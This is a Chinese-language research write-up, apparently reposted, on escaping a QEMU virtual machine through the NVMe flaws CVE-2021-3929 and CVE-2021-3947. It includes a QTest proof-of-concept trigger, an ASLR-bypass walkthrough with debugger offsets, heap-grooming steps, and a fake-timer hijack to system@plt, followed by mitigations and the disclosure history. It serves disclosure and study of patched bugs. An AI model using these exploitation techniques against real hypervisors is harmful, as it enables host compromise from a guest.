static uint16_t nvme_changed_nslist(NvmeCtrl *n, uint8_t rae, uint32_t buf_len,uint64_t off, NvmeRequest *req){ uint32_t nslist[1024]; uint32_t trans_len; int i = 0; uint32_t nsid; memset(nslist, 0x0, sizeof(nslist)); // sizeof(nslist) = 4096, integer underflow! trans_len = MIN(sizeof(nslist) - off, buf_len); /* ...... */ // transmit data to the guest, stack overflow! return nvme_c2h(n, ((uint8_t *)nslist) + off, trans_len, req);}
guest 可控制变量 off,所以如果它大于4096,就会发生整数下溢,然后 trans_len 会被设置为buf_len,这也是 guest 可控的,从而导致栈溢出。更糟糕的是,由于 off 可以设置为任何大于等于 4098 的数字,所以 nvme_c2h() 的 ptr 参数可以设置为任意地址,从而导致可以从 host 读取任意内存内容到 guest 完成地址泄露。最后,nslist 作为之后 DMA 操作的源数据,可以触发CVE-2021-3929,因此我们可以从任意地址(例如 guest 的 RAM)构造 CVE-2021-3929 的 DMA 源数据。

我们基于 QTest 编写了一个 PoC。可以在 https://qiuhao.org/VD_QEMU_NVME_CWE-191-125.txt 查看详细的输出。
cat << EOF | ./build/qemu-system-x86_64 -nodefaults -machine type=q35,accel=qtest -nographic-drive file=null-co://,if=none,format=raw,id=disk0 -device nvme,drive=disk0,serial=1 -qteststdio \outl 0xcf8 0x80000810 /* MLBAR (BAR0) - Memory Register Base Address*/outl 0xcfc 0xe0000000 /* MMIO Base Address = 0xe0000000 */outl 0xcf8 0x80000804 /* CMD - Command */outw 0xcfc 0x06 /* Bus Master Enable, Memory Space Enable */write 0xe0000024 0x4 0x02000200 /* Admin Queue Attributes */write 0xe0000014 0x4 0x01004600 /* Controller Configuration */write 0xe0001000 0x1 0x01 /* SQyTDBL - Submission Queue y Tail Doorbell */write 0x00 0x1 0x02 /* cmd->opcode, nvme_get_log() */write 0x28 0x4 0x0400ff07 /* cmd->cdw10, lid = 4 nvme_changed_nslist, len = 8k */write 0x30 0x4 0x10100000 /* cmd->cdw12 = 4098, Log Page Offset */clock_stepEOF


五、利用开发 

5.1 背景 & 计划

我们将利用 QEMU 的 NVM Express (NVMe) 模块中的 CVE-2021-3929 和 CVE-2021-3947 来实现 VM 逃逸。NVMe 接口 [24] 允许 host 软件与非易失性内存子系统通信,该接口针对固态驱动器进行了优化,通常作为寄存器级接口连接到 PCI Express 接口。NVMe 有两种命令:Admin 命令,用于由 Host(guest OS)管理和控制 SSD 控制器;IO 命令,用于 Host 和 SSD 之间的数据传输。为了传输这些命令,NVMe 定义了三个结构体:提交队列 (Submission Queue,SQ)、完成队列 (Completion Queue,CQ) 和门铃 (Door Bell,DB)。SQ在 host 内存中:当 host 要发送命令时,先将命令存储在 SQ 中,然后通知 SSD 取出。CQ 也在 host 内存中:当一个命令完成时,SSD 会向 CQ 写入完成状态码。DB在 SSD 中,host 用来通知 SSD 开始处理命令。图 5-1 说明了命令处理步骤:

正如我们所说,CVE-2021-3929 是一个由 DMA 触发的递归 MMIO 漏洞,可以导致 UAF,并且释放的结构内包含一个 timer 指针。CVE-2021-3947 是一个任意内存读取漏洞,可用于绕过 ASLR 并泄漏 guest 的 RAM 地址。HDA 设备中有一个方便利用的 malloc 原语。因此我们实现 guest 到host 逃逸的计划如下:
guest 操作系统中,我们构建一个 fake timer 并为之后的 DMA 操作(递归 MMIO write)准备一个缓冲区。
通过利用 CVE-2021-3947,我们可以泄露在 host 中 system@plt 的地址和 guest RAM 的地址。
由于 CVE-2021-3929 和 CVE-2021-3947 都在处理 Changed Namespace List 命令 [24] 的路径上,并且 CVE-2021-3929 中的 DMA write 操作的内容来自 CVE-2021-3947 中的缓冲区(4.3 节的nslist参数) ,所以我们可以从 guest RAM 中的缓冲区构造 DMA 的源数据。
通过利用 CVE-2021-3929 和 CVE-2021-3947,我们对 MMIO 区域执行 scatter-gather DMA 操作,并且第一个 MMIO write 是到 HDA 设备中 malloc 原语,分配三个与 QEMU timer 大小相同的 chunk ,从而清理主线程的 tcache [44]。
在相同的 DMA 上下文中,第二次是对 NVMe 控制器复位寄存器的递归 MMIO write ,释放 cq 结构,放在主线程的 tcache 中。
在同一个 DMA 上下文中,最后一次 MMIO write 是写入 HDA 设备中的 malloc 原语,因此占用了释放的 cq 结构中的 timer 指针,而 cq 中的 timer 指针现在指向我们之前构造的 fake timer。
MMIO 操作完成后调用 nvme_enqueue_req_completion() 中的 timer_mod() 时。将调用fake timer 中的回调函数,由于我们可以控制回调函数及其参数,因此可以实现控制流劫持,实现VM 逃逸。
我们将在下面的文本中讨论细节。 可以在https://github.com/QiuhaoLi/CVE-2021-3929-3947上获取 PoC 代码。

5.2 用户模式 MMIO

我们在 guest 用户态下编写利用,要从 Ring 3 触发 MMIO 操作需要以 root 身份执行漏洞利用程序。有关将 MMIO 区域映射到虚拟地址空间,并将物理地址转换为虚拟地址的技术,可以参考 [25] [26] 和 Poc源码。例如,提交命令的代码如下:
mmio_write_l_fn(nvme_mmio_region, NVME_OFFSET_ACQ, cqes_phys_addr); /* cq dma_addr */mmio_write_l_fn(nvme_mmio_region, NVME_OFFSET_ACQ + 4, (cqes_phys_addr >> 32));mmio_write_l_fn(nvme_mmio_region, NVME_OFFSET_ASQ, cmds_phys_addr); /* sq dma_addr */mmio_write_l_fn(nvme_mmio_region, NVME_OFFSET_ASQ + 4, (cmds_phys_addr >> 32));mmio_write_l_fn(nvme_mmio_region, NVME_OFFSET_AQA, 0x200020); /* init, sq_size = 32 + 1 */mmio_write_l_fn(nvme_mmio_region, NVME_OFFSET_CC, 0); /* reset */mmio_write_l_fn(nvme_mmio_region, NVME_OFFSET_CC, ((4 << 20) + (6 << 16) + 1)); /* start */mmio_write_l_fn(nvme_mmio_region, NVME_OFFSET_SQyTDBL, 0x1); /* set tail to 1 for command */
需要注意的是,NVMe 中的 DMA 需要将数据放置在连续的物理页上。为了在用户空间中获取这些页,我们编写了一段代码来映射页,并分析我们是否需要连续的物理页面:
do{ if (mem != NULL) { munmap(mem, map_len); } mem = mmap(NULL, map_len, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_SHARED, -1, 0); mlock(mem, map_len); memset(mem, 0, map_len); for (void *vp1 = mem; vp1 < mem + map_len; vp1 += PAGE_SIZE) { void *vp2 = MIN(vp1 + PAGE_SIZE, mem + 511 * PAGE_SIZE); void *vp3 = MIN(vp2 + PAGE_SIZE, mem + 511 * PAGE_SIZE); /* mmio_buf (3 pages) need to be physically contiguous. Wish us good luck! */ if (virt_to_phys(vp1) + PAGE_SIZE == virt_to_phys(vp2) && virt_to_phys(vp2) + PAGE_SIZE == virt_to_phys(vp3)) { mmio_buf = vp1; } }} while (mmio_buf == NULL)

5.3 Bypass ASLR

4.3 节中,我们提到过我们控制堆栈数组的 host 到 guest 数据偏移量(参数 nslist),所以在我们成功泄露了 guest RAM 后,还需要知道 nslist 到 guest RAM 的偏移,才能确保数据来自guest RAM。我们先泄露 nslist:
static uint16_t nvme_changed_nslist(NvmeCtrl *n, uint8_t rae, uint32_t buf_len,uint64_t off, NvmeRequest *req){ uint32_t nslist[1024]; uint32_t trans_len; int i = 0; uint32_t nsid; memset(nslist, 0x0, sizeof(nslist)); // sizeof(nslist) = 4096, integer underflow! trans_len = MIN(sizeof(nslist) - off, buf_len); /* ...... */ // transmit data to the guest, stack overflow! return nvme_c2h(n, ((uint8_t *)nslist) + off, trans_len, req);}
我们可以使数组溢出,获取栈上保存的 RBP 寄存器来得到它的地址。由于最后一个 RBP 和 nslist 之间的相对偏移是在编译时就确定的,因此我们可以通过泄漏的 RBP 减去偏移来获得 nslist 的地址。
nslist 是一个 1024 uint32_t 的数组,保存的 RBP 为 &nslist + sizeof(uint32_t) * 1024 + 8 + 8:
gef➤ bt#0 nvme_changed_nslist at ../hw/nvme/ctrl.c:4198#1 0x000055a9616f6a31 in nvme_get_log at ../hw/nvme/ctrl.c:4285#2 0x000055a9616f99ba in nvme_admin_cmd at ../hw/nvme/ctrl.c:5475#3 0x000055a9616f9d30 in nvme_process_sq at ../hw/nvme/ctrl.c:5530#4 0x000055a961c69e7b in timerlist_run_timers at ../util/qemu-timer.c:573#5 0x000055a961c69f24 in qemu_clock_run_timers at ../util/qemu-timer.c:587#6 0x000055a961c6a219 in qemu_clock_run_all_timers at ../util/qemu-timer.c:669#7 0x000055a961ca15ab in main_loop_wait at ../util/main-loop.c:542#8 0x000055a961a1316a in qemu_main_loop at ../softmmu/runstate.c:726#9 0x000055a96158ed3a in main at ../softmmu/main.c:50gef➤ frame#0 nvme_changed_nslist at ../hw/nvme/ctrl.c:41984198 return nvme_c2h(n, ((uint8_t *)nslist) + off, trans_len, req);gef➤ x /g ((void *)&nslist + sizeof(uint32_t) * 1024 + 16)0x7fff983e3860: 0x00007fff983e38f0gef➤ p 0x00007fff983e38f0 - (uint64_t)&nslist$226 = 0x10a0
所以我们可以得到 nslist 地址为:
*(uint64_t *)((void *)&nslist + 0x1010) - 0x10a0
同样,我们可以在栈上找到一个稳定的全局变量,从而泄露 ELF 的地址,然后通过 ELF base 和 plt 之间的偏移量(下面的0x3D2C24),得到 system@plt 的地址:
gef➤ p *(uint64_t *)(((uint8_t *)nslist) + 0x1730) - 0x40$228 = 0x55a9611ba000gef➤ vmmap[ Legend: Code | Heap | Stack ]Start End Offset Perm Path0x000055a9611ba000 0x000055a961587000 0x0000000000000000 r--/home/qiuhao/tmp/qemu-6.1.0/build/qemu-system-x86_64......gef➤ x /i 0x55a9611ba000 + 0x3D2C240x55a96158cc24 <system@plt+4>: bnd jmp QWORD PTR [rip+0xbc70f5]
正如我们在 1.2 节中所说,host 上映射的所有 MemoryRegion 会在 RAMBlock 的 host 字段中有一个对应的指针,在 QEMU 的 PC 主板设置期间会初始化 guest 的 RAM,我们可以在堆中找到指向 RAM 的指针,所以如果我们可以泄露堆的地址并通过它对堆进行搜索,我们就可以得到 guest 的 RAM 地址。
经过对栈的一些观察,我们发现了一个稳定的指针,它指向堆中的一个变量,并且它的值总是小于 RAMBlock 的 host 字段,因此我们就可以直接从这个指针开始搜索,就不需要获取堆的基地址了。没过多久,我们就找到了 RAM 的地址:
qiuhao@pc:~/tmp/qemu-6.1.0/build$ ps -ef | grep type=q35 | awk '{ print $2}'| head -1 | xargs pmap | grep 209715200007f8207e00000 2097152K rw--- [ anon ]------gef➤ p *(uint64_t *)((uint8_t *)nslist + 0x11b0)$233 = 0x55a963640788gef➤ find /g 0x55a963640788, +20000, 0x7f8207e000000x55a9636449d81 pattern found.
下一个问题是如何在堆上找到 RAM 的指针。我们观察到,当我们将 guest 的 RAM 大小设置为 2G 时,RAM 的虚拟地址总是对齐到 14M(以 0xe00000 结尾)。栈上有一个稳定的指针指向一个映射的内存区域,其高地址(ram_mask)与 RAM 的高地址相同:
gef➤ p *(uint64_t *)((uint8_t *)nslist + 0x1020)$234 = 0x7f82000f8ef0
考虑到只有 48 位地址可用,我们可以设计以下三种搜索模式。通过以 8 字节为单位在堆上搜索,我们最终得到了 guest 的 RAM 的虚拟地址:
uint64_t tmp = *(uint64_t *)(leak_heap + search_index);(tmp & ram_mask) == ram_mask;(tmp & 0x1fffff) /* 0xe00000 */ == 0;(tmp & ~0x00007fffffffffff) == 0;
5-2 显示了我们泄露客户 RAM 地址的策略, 更多细节可以参考源码中的 leak_*() 函数:
 

5.4 劫持控制流

在处理 Get Log Page 命令(Admin 命令)时,NVMe 控制器将数据写入由PRP(Physical Region Page)[45] 结构描述的目的地址。一个 PRP Entry 是一个 64 位的内存物理地址,分为两部分:页起始地址和页偏移量。这里有两个 PRP 寄存器,PRP1 指向一个页,PRP2 可以指向一个 PRP List,其中包含一个 PRP 链表头。

正如我们在 3.3 和 5.1 节中所说,我们需要使用 Changed Namespace List 命令分别触发三个 MMIO write,因此我们需要三个有效的 PRP 条目:
1.第一个 PRP 页写入 intel-hda MMIO 寄存器 IN1 CTL、IN2 CTL 和 IN3 CTL,从而分配三个 0x30 字节(QEMUTimer 的大小)的chunk,那么现在主线程的 tcache 至少有 3 个空闲位置。我们这里清理 tcache 的原因,是我们发现 glibc 2.34 分配器,如果当前线程的 tcache(MMIO write timer的回调函数、主线程)已满,会将 free chunk 放回线程所在的 allocated chunk(guest 的 MMIO write、NVMe 命令、vCPU线程),这会影响我们占用 free chunk。
2.第二个 PRP 页写入 nvme 的 reset 函数,释放 cq->timer,会放在主线程的 tcache 上)。
3.第三个 PRP 页写入 intel-hda MMIO 寄存器 IN0 CTL 以分配一个 0x30 字节的 chunk 并将构造的内容写入其中,使 cq->timer 指向 guest RAM 中的 mock object。

5-3 显示了我们的 PRP 结构的结构,以及每个页和MMIO write 的目标:
还有一点需要注意:因为 free 函数会将元数据放在 free chunk 的开头,如果我们只向 sq 提交一个 Changed Namespace List 命令,assert(cq->cqid == req->sq->cqid) 会失败,因为 cq- >cqid 已损坏,这个断言发生在对 HDA IN0 CTL 的 MMIO 操作之前。我们可以提交多条命令来解决问题,只有最后一条是 get log 命令。
在递归 MMIO 操作之后,调用一个名为 notify_cb 的回调函数:
void timerlist_notify(QEMUTimerList *timer_list){ if (timer_list->notify_cb) { timer_list->notify_cb(timer_list->notify_opaque, timer_list->clock->type); } else { qemu_notify_event(); }}
由于 timer_list 在客户的 RAM 中由我们控制,我们可以让它指向 guest OS 中的一个区域,从而控制调用的目标及其参数 notify_opaqueclock->type。在下面的演示中,我们让 notify_cb 指向 system@plt 并让 notify_opaque 指向 guest RAM 中的字符串“/usr/bin/gnome-calculator”,从而在主机上执行计算器。我们省略了上面的一些细节,有关漏洞利用开发的更多信息,可以参考源代码。
 
 六、缓解措施 


6.1 在Device中进行检查

QEMU 中,来自 guest 的 PMIO/MMIO 访问受到全局锁“Big QEMU Lock”[27]的保护,因此两个 vCPU 不能同时调用虚拟 device。因此我们可以为每个设备添加 busy 标志:当我们进入 MMIO 或 BH/Timer 回调函数时,设置 busy 标志,当 IO 操作完成时,解除 busy 标志。如果我们进入设置了 busy 标志的设备时,会报错并返回。这种方案的缺点是我们需要根据不同设备的实现,在不同的位置添加代码,需要大量的审计和编码。图 6-1 的左侧部分说明了该解决方案的设计。
 

6.2 Log on Bug

为了解决上述方案的不足,我们可以将检查放在总线上而不是 device 上:通过分析总线上的数据目的地址,防止可能产生环路的访问。但是,由于我们要避免 A -> B -> A(A 上的递归 MMIO),A -> B -> C -> D -> B(B 上的递归 MMIO),但允许 A -> B -> C -> D,我们需要记录所有被访问过的设备,并在访问结束时释放记录,这将提高时间或空间上的复杂度。而且这个解决方案不能处理 BH/Timer -> MMIO Handler 的情况,因为 BH/Timer 回调不是由 IO VM-exit 触发的,而是在主线程的上下文中调用的,所以我们不知道设置 BH/Timer 的设备,图 6-1 的右侧部分说明了该解决方案的设计。

6.3 折中方案

此解决方案将检查放在总线上,让设备决定是否允许写入非 RAM 区域(如 MMIO 区域)。设备在进行数据传输时,还会附加一个权限参数。总线根据参数检查访问,防止设备写入非 RAM 区域,该方案的优点是性能好(无需动态记录、检查和释放访问的设备),而且对设备的修改很小,因为我们只需要关心数据传输调用。最终递归 MMIO 漏洞的补丁使用此解决方案 [28]。

 七、QEMU安全流程 
2011年,报送了第一个可能由递归 MMIO 或设备重入引起的 bug[29],但没有得到深入的审察或修复。
2020 年 6 月,一名安全研究人员重新报告了该漏洞,该漏洞由 fuzzer [29] 触发断言失败,但未收到任何回复。
2020 年 7 月,波士顿大学的 Alexander Bulekov 博士报告了多起事故 [30]。社区首次确认,这些 bug 主要是 DMA 重入造成的。此时,分配了第一个 CVE ID:CVE-2020-15859 [31] (DoS)。
2020 年 9 月,Ant Group 的Li Qiang [32] 和 Red Hat的 Philippe [33] 开始提交第一版补丁。Philippe的补丁使用了 6.3 小节的方案,Li Qiang 使用了 6.1 小节的方案。Philippe 的补丁被采用,但合并被搁置 [34]。
在第一个版本的补丁之后,又报告了一些相关的崩溃(主要由 OSS-Fuzz [41] 发现),所有这些都被归类为 DoS [35] [36] [37]。
2021 年 8 月 20 日,我们报告了 EHCI 控制器中的递归 MMIO 漏洞(CVE-2021-3750 [38]),并提供了利用该漏洞的思路。
该漏洞的 CVSS 得分为 7.5(可能在主机上的 QEMU 进程的上下文中执行任意代码)。2021 年 8 月 23 日,Philippe 发送了第二版的补丁,但由于兼容性原因,没有被合并 [39]。
2021 年 10 月 31 日,我们报告了 NVMe 中的递归 MMIO 漏洞(CVE-2021-3929 [40],CVSS 8.2),随后提供了 guest 到 host 的利用详细信息,Red Hat 同意设计缺陷“应该尽快修复”,首先为 CVE-2021-3750 和 CVE-2021-3929 提供补丁,并将之后的补丁合并到 QEMU 版本 7.0.0。

 八、结论
在本文中,我们首先探索递归 MMIO 设计缺陷,QEMU/KVM 中的新攻击面。然后我们介绍如何使用 CodeQL 来发现这些缺陷并利用原语。最后,我们分享了漏洞利用开发的细节和缓解措施。这里分享一些想法:
1.此设计缺陷影响较大,应尽快修复。任何可以执行 DMA 并具有 MMIO 区域的 QEMU 或 VirtualBox 设备都可能受到影响。
2.补丁对性能影响不大。考虑到云端使用的设备较少,开发者只需修改少量代码即可解决问题。
3.递归 MMIO 缺陷在 QEMU 中已经存在了很长时间,甚至仅考虑大规模出现也有一年多的时间,但直到2021年12月才修复。对于第 7 节中讨论的错误,除 CVE-2021-3929 外,所有信息都是公开的,挖掘开源软件的快速方法可能是检查其错误跟踪器,而不是自己去找漏洞。
4.除了跟进上游补丁,下游厂商也应该做攻击性的安全研究,否则很可能会长时间向攻击者暴露漏洞。
5.我们应该注意虚拟化软件和真实硬件之间的不同行为,例如 DMA 和 MMIO 之间的不完全隔离是 QEMU/KVM 中递归 MMIO 缺陷的根本原因(图 8-1)。

       

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年2月16日22:05:03
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   递归MMIO导致的虚拟机逃逸研究https://cn-sec.com/archives/1277650.html

发表评论

匿名网友 填写信息